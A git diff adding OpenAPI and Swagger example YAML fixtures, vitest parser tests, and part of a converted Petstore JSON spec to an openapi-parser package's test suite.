@@ -0,0 +1,13 @@ +openapi: 3.0.0 +info: + title: The simplest parameter example + version: 1.0.0 +paths: + /customer/{id}: # https://api.example.org/customer/72 + parameters: + - name: id + in: path + required: true + schema: + type: integer + title: A unique identifier for the customer diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_requestbody.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_requestbody.md.yaml new file mode 100644 index 0000000..5031eda --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_requestbody.md.yaml @@ -0,0 +1,21 @@ +swagger: 2.0 +info: + title: Example of request body in 2.0 + version: 1.0.0 + +paths: + /opinions: + post: + consumes: + - text/plain + parameters: + - name: AnOpinion + in: body + schema: + type: string + examples: + text/plain: + I think the V3 way is cleaner + responses: + '200': + description: OK diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_servers.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_servers.md.yaml new file mode 100644 index 0000000..6fe7961 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_servers.md.yaml @@ -0,0 +1,11 @@ +swagger: 2.0 +info: + title: How server used to be identified + version: 1.0.0 + +basePath: /api +host: www.acme.com +schemes: ["https"] + +paths: {} + diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_file.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_file.md.yaml new file mode 100644 index 0000000..12989e1 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_file.md.yaml @@ -0,0 +1,22 @@ +openapi: 3.0.0 +info: + title: API to upload a file + version: 1.0.0 +paths: + /files/{filename}: + put: + parameters: + - name: filename + in: path + required: true + schema: + type: string + requestBody: + content: + application/octet-stream: + schema: + type: string + format: binary + responses: + default: + description: OK diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_multipart.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_multipart.md.yaml new file mode 100644 index 0000000..ef90415 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_multipart.md.yaml @@ -0,0 +1,30 @@ +openapi: 3.0.0 +info: + title: Example of HTML forms + version: 1.0.0 +paths: + '/submit': + post: + requestBody: + content: + application/x-www-urlencoded-form: + schema: + type: object + properties: + street: + type: string + city: + type: string + province: + type: string + country: + type: string + postcode: + type: string + tags: + type: array + items: + type: string + responses: + '200': + description: Great Success! diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_examples.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_examples.md.yaml new file mode 100644 index 0000000..89a5132 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_examples.md.yaml @@ -0,0 +1,45 @@ +openapi: 3.0.0 +info: + title: Examples of the new example object + version: 1.0.0 +paths: + '/names': + get: + responses: + '200': + description: OK + content: + 'application/json': + schema: + type: array + items: + type: string + examples: + list: + summary: List of Names + description: |- + A long and _very_ detailed description of this representation that includes rich text. + value: + - Bob + - Diane + - Mary + - Bill + empty: + summary: Empty + value: [ ] + 'application/xml': + examples: + list: + summary: List of names + value: "" + empty: + summary: Empty list + value: "" + 'text/plain': + examples: + list: + summary: List of names + value: "Bob,Diane,Mary,Bill" + empty: + summary: Empty + value: "" diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_pathdescriptions.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_pathdescriptions.md.yaml new file mode 100644 index 0000000..d1c2859 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_pathdescriptions.md.yaml @@ -0,0 +1,32 @@ +openapi: 3.0.0 +info: + title: Example of documenting paths instead of operations + version: 1.0.0 +paths: + '/speakers': + summary: A set of speakers + description: |- + This resource is a set of speakers presenting at a conference. Speakers information can be represented in either `text/plain`, or `application/vnd.collection+json` + get: + responses: + '200': + description: List of speakers + content: + text/plain: {} + application/vnd.collection+json: {} + post: + description: |- + Use a `application/x-www-urlencoded-form` to send speaker related information + responses: + '201': + description: Acknowledge creation of a new speaker resource + headers: + Location: + schema: + type: string + format: uri + delete: + responses: + '204': + description: Acknowledge successful deleted + diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_securityschemes.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_securityschemes.md.yaml new file mode 100644 index 0000000..27c12d8 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_securityschemes.md.yaml @@ -0,0 +1,25 @@ +openapi: 3.0.0 +info: + title: All kinds of security options using the Authorization header + version: 1.0.0 +components: + securitySchemes: + basic: + type: http + scheme: basic + bearer: + type: http + scheme: bearer + bearerFormat: JWT + oauth1: + type: http + scheme: oauth + digest: + type: http + scheme: digest +security: +- basic: [] +- bearer : [] +- oauth1 : [] +- digest : [] +paths: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_serverseverywhere.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_serverseverywhere.md.yaml new file mode 100644 index 0000000..6cab2a8 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_serverseverywhere.md.yaml @@ -0,0 +1,50 @@ +openapi: 3.0.0 +info: + title: Servers Everywhere + version: 1.0.0 +servers: +- url: https://api.example.com +paths: + '/passports/{id}': + parameters: + - name: id + in: path + required: true + schema: + type: string + get: + responses: + '200': + description: Ok + post: + servers: # Write operation on a different server + - url: https://supersecure-api.example.com + requestBody: + content: + application/json: + schema: {} + responses: + '200': + description: Ok + '/images/{filename}': + summary: Pictures of people + servers: # Static resources on a different server + - url: https://static.example.com + parameters: + - name: filename + in: path + required: true + schema: + type: string + get: + responses: + '200': + description: Ok + put: + responses: + '200': + description: Ok + delete: + responses: + '200': + description: Ok diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_callbacks.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_callbacks.md.yaml new file mode 100644 index 0000000..a4cc7c3 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_callbacks.md.yaml @@ -0,0 +1,26 @@ +openapi : 3.0.0 +info: + title: A simple webhook subscription + version: 1.0.0 +paths: + '/subscribe': + post: + requestBody: + content: + application/json: + schema: + type: object + properties: + url: + type: string + format: uri + responses: + '201': + description: Created subscription to webhook + callbacks: + mainHook: + '$request.body#/url': + post: + responses: + '200': + description: webhook successfully processed diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_links.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_links.md.yaml new file mode 100644 index 0000000..03c911d --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_links.md.yaml @@ -0,0 +1,51 @@ +openapi: 3.0.0 +info: + title: Simplest Link + version: 1.0.1 +paths: + '/users/{username}': + get: + parameters: + - name: username + in: path + required: true + schema: + type: string + responses: + '200': + description: A representation of a user + content: + application/json: + schema: + type: object + properties: + id: + type: integer + firstname: + type: string + lastname: + type: string + example: + id: 243 + firstname: Reginald + lastname: McDougall + links: + userPhotoLink: + operationId: getPhoto + parameters: + userid: $response.body#/id + '/users/{userid}/photo': + get: + operationId: getPhoto + parameters: + - name: userid + in: path + required: true + schema: + type: integer + responses: + '200': + description: A photo image + content: + image/jpeg: {} + diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_parameters.md.yaml new file mode 100644 index 0000000..cb7fb8b --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_parameters.md.yaml @@ -0,0 +1,14 @@ +openapi: 3.0.0 +info: + title: A parameter with an array of ints + version: 1.0.0 +paths: + /customers: # https://api.example.org/customers?ids=34,45,67 + parameters: + - name: ids + in: query + style: form + schema: + type: array + items: + type: integer diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_requestbody.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_requestbody.md.yaml new file mode 100644 index 0000000..325c5a1 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_requestbody.md.yaml @@ -0,0 +1,22 @@ +openapi: 3.0.0 +info: + title: Example of request body in 3.0 + version: 1.0.0 +paths: + /opinions: + post: + requestBody: + description: '' + required: true + content: + text/plain: + schema: + type: string + example: + I think the V3 way is cleaner + application/json: + schema: + type: string + responses: + '200': + description: OK diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_servers.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_servers.md.yaml new file mode 100644 index 0000000..c71eb0d --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_servers.md.yaml @@ -0,0 +1,10 @@ +openapi: 3.0.0 +info: + title: How servers are identified in V3 + version: 1.0.0 + +servers: +- url: https://prod.acme.com/api +- url: https://sandbox.acme.com/api + +paths: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Fixed_multipart.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Fixed_multipart.md.yaml new file mode 100644 index 0000000..9e59156 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Fixed_multipart.md.yaml @@ -0,0 +1,40 @@ +openapi: 3.0.0 +info: + title: Example of multi-part form + version: 1.0.0 +paths: + '/submit': + post: + requestBody: + content: + multipart/mixed: + schema: + type: object + properties: + id: + # default is text/plain + type: string + format: uuid + address: + # default is application/json + type: object + properties: {} + historyMetadata: + # need to declare XML format! + description: metadata in XML format + type: object + properties: {} + profileImage: + # default is application/octet-stream, need to declare an image type only! + type: string + format: binary + encoding: + historyMetadata: + # require XML Content-Type in utf-8 encoding + contentType: application/xml; charset=utf-8 + profileImage: + # only accept png/jpeg + contentType: image/png, image/jpeg + responses: + '200': + description: Success! diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Improved_securityschemes.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Improved_securityschemes.md.yaml new file mode 100644 index 0000000..4ced69e --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Improved_securityschemes.md.yaml @@ -0,0 +1,28 @@ +openapi: 3.0.0 +info: + title: OAuth2 with multiple flows + version: 1.0.0 +components: + securitySchemes: + myOauth2: + type: oauth2 + flows: + implicit: + authorizationUrl: https://example.com/api/oauth/dialog + scopes: + write:pets: modify pets in your account + read:pets: read your pets + authorizationCode: + authorizationUrl: https://example.com/api/oauth/dialog + tokenUrl: https://example.com/api/oauth/token + refreshUrl: https://example.com/api/oauth/refresh + scopes: + write:pets: modify pets in your account + read:pets: read your pets + myOpenIdConnect: + type: openIdConnect + openIdConnectUrl: https://example.com/.well-known/openid-connect +security: +- myOauth2: [] +- myOpenIdConnect: [] +paths: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_callbacks.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_callbacks.md.yaml new file mode 100644 index 0000000..bf97c95 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_callbacks.md.yaml @@ -0,0 +1,51 @@ +openapi: 3.0.0 +info: + title: Example of links with callbacks + version: 0.9.0 +paths: + /hooks: + post: + requestBody: + description: body provided by consumer with callback URL + required: true + content: + application/json: + example: + callback-url: https://consumer.com/hookcallback + responses: + '201': + description: Successfully subscribed + content: + application/json: + example: + hookId: 23432-32432-45454-97980 + links: + unsubscribe: + operationId: cancelHookCallback + parameters: + id: $response.body#/hookId + callbacks: + hookEvent: + '$request.body#/callback-url': + post: + requestBody: + content: + application/json: + example: + message: Here is the event + responses: + '200': + description: Expected responses from callback consumer + /hooks/{id}: + delete: + operationId: cancelHookCallback + parameters: + - name: id + in: path + required: true + schema: + type: string + responses: + '200': + description: Successfully cancelled callback + diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_links.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_links.md.yaml new file mode 100644 index 0000000..344af9d --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_links.md.yaml @@ -0,0 +1,33 @@ +openapi: 3.0.0 +info: + title: Employees and Managers + version: 1.0.1 +paths: + '/employees/{id}': + get: + operationId: getEmployeeById + parameters: + - name: id + in: path + required: true + schema: + type: string + responses: + '200': + description: A representation of an employee + content: + application/json: + schema: + type: object + properties: + id: + type: string + username: + type: string + managerId: + type: string + links: + userManager: + operationId: getEmployeeById + parameters: + id: $response.body#managerId diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_parameters.md.yaml new file mode 100644 index 0000000..84f5d2e --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_parameters.md.yaml @@ -0,0 +1,18 @@ +openapi: 3.0.0 +info: + title: A version and revision matrix parameter + version: 1.0.0 +paths: + /{version}{rev}/customers: # https://api.example.org/v2;rev=2/customers + parameters: + - name: version + in: path + required: true + schema: + type: string + - name: rev + in: path + required: true + style: matrix + schema: + type: integer diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_servers.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_servers.md.yaml new file mode 100644 index 0000000..265293b --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_servers.md.yaml @@ -0,0 +1,13 @@ +openapi: 3.0.0 +info: + title: How server URLs can be templated + version: 1.0.0 + +servers: +- url: https://{tenant}.acme.com/api/{version} + variables: + tenant: + default: sample #default is a required field + version: + default: v2 +paths: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example4_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example4_from_._Different_parameters.md.yaml new file mode 100644 index 0000000..5c1cc8e --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example4_from_._Different_parameters.md.yaml @@ -0,0 +1,12 @@ +openapi: 3.0.0 +info: + title: A map of parameter values + version: 1.0.0 +paths: + /customers: # https://api.example.org/customers?active=true&country=Canada&category=first + parameters: + - name: filters + in: query + style: form + schema: + type: object diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example5_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example5_from_._Different_parameters.md.yaml new file mode 100644 index 0000000..77610a8 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example5_from_._Different_parameters.md.yaml @@ -0,0 +1,19 @@ +openapi: 3.0.0 +info: + title: A map of parameter values + version: 1.0.0 +paths: + /customers: # https://api.example.org/customers?active=true&country=Canada&category=first + parameters: + - name: complexQuery + in: query + content: + application/sparql-query: + schema: + type: string + example: |- + SELECT ?title + WHERE + { + ?title . + } diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.test.ts new file mode 100644 index 0000000..7f5c802 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import hello from './hello.yaml' + +describe('hello', () => { + it('passes', async () => { + const result = await resolve(hello) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.yaml new file mode 100644 index 0000000..9be7f33 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.yaml @@ -0,0 +1,20 @@ +openapi: 3.0.0 +info: + title: Hello World + version: 1.0.0 +paths: + /hello: + get: + parameters: + - name: name + in: query + required: true + schema: + type: string + responses: + '200': + description: OK + content: + 'application/json': + schema: + type: string diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.test.ts new file mode 100644 index 0000000..9fd1d84 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import minimal from './minimal.yaml' + +describe('minimal', () => { + it('passes', async () => { + const result = await resolve(minimal) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.yaml new file mode 100644 index 0000000..039d49b --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.yaml @@ -0,0 +1,6 @@ +--- +openapi: 3.0.0 +info: + version: 1.0.0 + title: Swagger 2.0 Without Scheme +paths: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.test.ts new file mode 100644 index 0000000..1146e73 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import nonBearerHttpSec from './nonBearerHttpSec.yaml' + +describe('nonBearerHttpSec', () => { + it('passes', async () => { + const result = await resolve(nonBearerHttpSec) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.yaml new file mode 100644 index 0000000..3565de4 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.yaml @@ -0,0 +1,10 @@ +openapi: 3.0.1 +info: + version: 1.0.0 + title: API +paths: {} +components: + securitySchemes: + mySS: + type: http + scheme: Basic diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.test.ts new file mode 100644 index 0000000..f857661 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import openapi from './openapi.yaml' + +describe('openapi', () => { + it('passes', async () => { + const result = await resolve(openapi) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.yaml new file mode 100644 index 0000000..039d49b --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.yaml @@ -0,0 +1,6 @@ +--- +openapi: 3.0.0 +info: + version: 1.0.0 + title: Swagger 2.0 Without Scheme +paths: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/index.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/index.yaml new file mode 100644 index 0000000..779c71c --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/index.yaml @@ -0,0 +1,7 @@ +swagger: '2.0' +info: + version: 0.0.0 + title: Simple API +paths: + /test: + $ref: ./subdir1/test.yaml diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/subdir2/ok.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/subdir2/ok.yaml new file mode 100644 index 0000000..5cb91cd --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/subdir2/ok.yaml @@ -0,0 +1,4 @@ +type: object +properties: + name: + type: string diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/test.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/test.yaml new file mode 100644 index 0000000..55e8736 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/test.yaml @@ -0,0 +1,6 @@ +get: + responses: + 200: + description: OK + schema: + $ref: ./subdir2/ok.yaml diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.test.ts new file mode 100644 index 0000000..66875ed --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import server_enum_empty from './server_enum_empty.yaml' + +describe.todo('server_enum_empty', () => { + it('passes', async () => { + const result = await resolve(server_enum_empty) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.yaml new file mode 100644 index 0000000..1f62d81 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.yaml @@ -0,0 +1,11 @@ +openapi: 3.0.0 +info: + title: API + version: 1.0.0 +servers: + - url: https://example.com/{var} + variables: + var: + enum: [] + default: a +components: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.test.ts new file mode 100644 index 0000000..0bc8888 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import server_enum_unknown from './server_enum_unknown.yaml' + +describe.todo('server_enum_unknown', () => { + it('passes', async () => { + const result = await resolve(server_enum_unknown) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.yaml new file mode 100644 index 0000000..d45e1cb --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.yaml @@ -0,0 +1,12 @@ +openapi: 3.0.0 +info: + title: API + version: 1.0.0 +servers: + - url: https://example.com/{var} + variables: + var: + enum: + - a + default: b +components: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/fart.openapi.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/fart.openapi.yaml new file mode 100644 index 0000000..e69de29 diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.json b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.json new file mode 100644 index 0000000..683e699 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.json @@ -0,0 +1,1070 @@ +{ + "openapi": "3.0.0", + "servers": [ + { + "url": "http://petstore.swagger.io/v2" + } + ], + "x-origin": [ + { + "url": "http://petstore.swagger.io/v2/swagger.json", + "format": "swagger", + "version": "2.0", + "converter": { + "url": "https://github.com/mermade/swagger2openapi", + "version": "2.2.0" + } + } + ], + "info": { + "description": "This is a sample server Petstore server. You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/). For this sample, you can use the api key `special-key` to test the authorization filters.", + "version": "1.0.0", + "title": "Swagger Petstore", + "termsOfService": "http://swagger.io/terms/", + "contact": { + "email": "apiteam@swagger.io" + }, + "license": { + "name": "Apache 2.0", + "url": "http://www.apache.org/licenses/LICENSE-2.0.html" + } + }, + "tags": [ + { + "name": "pet", + "description": "Everything about your Pets", + "externalDocs": { + "description": "Find out more", + "url": "http://swagger.io" + } + }, + { + "name": "store", + "description": "Access to Petstore orders" + }, + { + "name": "user", + "description": "Operations about user", + "externalDocs": { + "description": "Find out more about our store", + "url": "http://swagger.io" + } + } + ], + "paths": { + "/pet": { + "post": { + "tags": [ + "pet" + ], + "summary": "Add a new pet to the store", + "description": "", + "operationId": "addPet", + "parameters": [], + "responses": { + "405": { + "description": "Invalid input" + } + }, + "security": [ + { + "petstore_auth": [ + "write:pets", + "read:pets" + ] + } + ], + "requestBody": { + "$ref": "#/components/requestBodies/Pet" + } + }, + "put": { + "tags": [ + "pet" + ], + "summary": "Update an existing pet", + "description": "", + "operationId": "updatePet", + "parameters": [], + "responses": { + "400": { + "description": "Invalid ID supplied" + }, + "404": { + "description": "Pet not found" + }, + "405": { + "description": "Validation exception" + } + }, + "security": [ + { + "petstore_auth": [ + "write:pets", + "read:pets" + ] + } + ], + "requestBody": { + "$ref": "#/components/requestBodies/Pet" + } + } + }, + "/pet/findByStatus": { + "get": { + "tags": [ + "pet" + ], + "summary": "Finds Pets by status", + "description": "Multiple status values can be provided with comma separated strings", + "operationId": "findPetsByStatus", + "parameters": [ + { + "name": "status", + "in": "query", + "description": "Status values that need to be considered for filter", + "required": true, + "explode": true, + "schema": { + "type": "array", + "items": { + "type": "string", + "enum": [ + "available", + "pending", + "sold" + ], + "default": "available" + } + } + } + ], + "responses": { + "200": { + "description": "successful operation", + "content": { + "application/xml": { + "schema": { + "type": "array", + "items": { + "$ref": "#/components/schemas/Pet" + } + } + }, + "application/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#/components/schemas/Pet" + } + } + } + } + }, + "400": { + "description": "Invalid status value" + } + }, + "security": [ + { + "petstore_auth": [ + "write:pets", + "read:pets" + ] + } + ] + } + }, + "/pet/findByTags": { + "get": { + "tags": [ + "pet" + ], + "summary": "Finds Pets by tags", + "description": "Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.", + "operationId": "findPetsByTags", + "parameters": [ + { + "name": "tags", + "in": "query", + "description": "Tags to filter by", + "required": true, + "explode": true, + "schema": { + "type": "array", + "items": { + "type": "string" + } + } + } + ], + "responses": { + "200": { + "description": "successful operation", + "content": { + "application/xml": { + "schema": { + "type": "array", + "items": { + "$ref": "#/components/schemas/Pet" + } + } + }, + "application/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#/components/schemas/Pet" + } + } + } + } + }, + "400": { + "description": "Invalid tag value" + } + }, + "security": [ + { + "petstore_auth": [ + "write:pets", + "read:pets" + ] + } + ], + "deprecated": true + } + }, + "/pet/{petId}": { + "get": { + "tags": [ + "pet" + ], + "summary": "Find pet by ID", + "description": "Returns a single pet", + "operationId": "getPetById", + "parameters": [ + { + "name": "petId", + "in": "path", + "description": "ID of pet to return", + "required": true, + "schema": { + "type": "integer", + "format": "int64" + } + } + ], + "responses": { + "200": { + "description": "successful operation", + "content": { + "application/xml": { + "schema": { + "$ref": "#/components/schemas/Pet" + } + }, + "application/json": { + "schema": { + "$ref": "#/components/schemas/Pet" + } + } + } + }, + "400": { + "description": "Invalid ID supplied" + }, + "404": { + "description": "Pet not found" + } + }, + "security": [ + { + "api_key": [] + } + ] + }, + "post": { + "tags": [ + "pet" + ], + "summary": "Updates a pet in the store with form data", + "description": "", + "operationId": "updatePetWithForm", + "parameters": [ + { + "name": "petId", + "in": "path", + "description": "ID of pet that needs to be updated", + "required": true, + "schema": { + "type": "integer", + "format": "int64" + } + } + ], + "responses": { + "405": { + "description": "Invalid input" + } + }, + "security": [ + { + "petstore_auth": [ + "write:pets", + "read:pets" + ] + } + ], + "requestBody": { + "content": { + "application/x-www-form-urlencoded": { + "schema": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "status": { + "type": "string" + } + } + } + } + }, + "description": "Updated name of the pet" + } + }, + "delete": { + "tags": [ + "pet" + ], + "summary": "Deletes a pet", + "description": "", + "operationId": "deletePet", + 